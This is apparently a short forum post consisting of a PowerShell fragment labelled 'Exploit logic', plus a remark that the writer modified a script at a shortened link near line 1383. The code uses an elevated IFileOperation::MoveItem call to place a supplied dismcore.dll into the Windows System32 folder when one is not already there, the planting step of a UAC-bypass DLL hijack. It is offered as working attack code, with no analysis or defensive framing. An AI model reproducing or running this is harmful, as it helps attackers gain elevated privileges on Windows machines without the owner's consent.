# Exploit logic
if (Test-Path $($env:SystemRoot + '\System32\dismcore.dll'))
{
echo "[!] Already Have dismcore.dll, not moving file."
} else {
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\'), "dismcore.dll")
$IFileOperation.PerformOperations()
}
At about line 1383 I just modded the ps1 at https://goo.gl/fPl4tm to whats in the code bock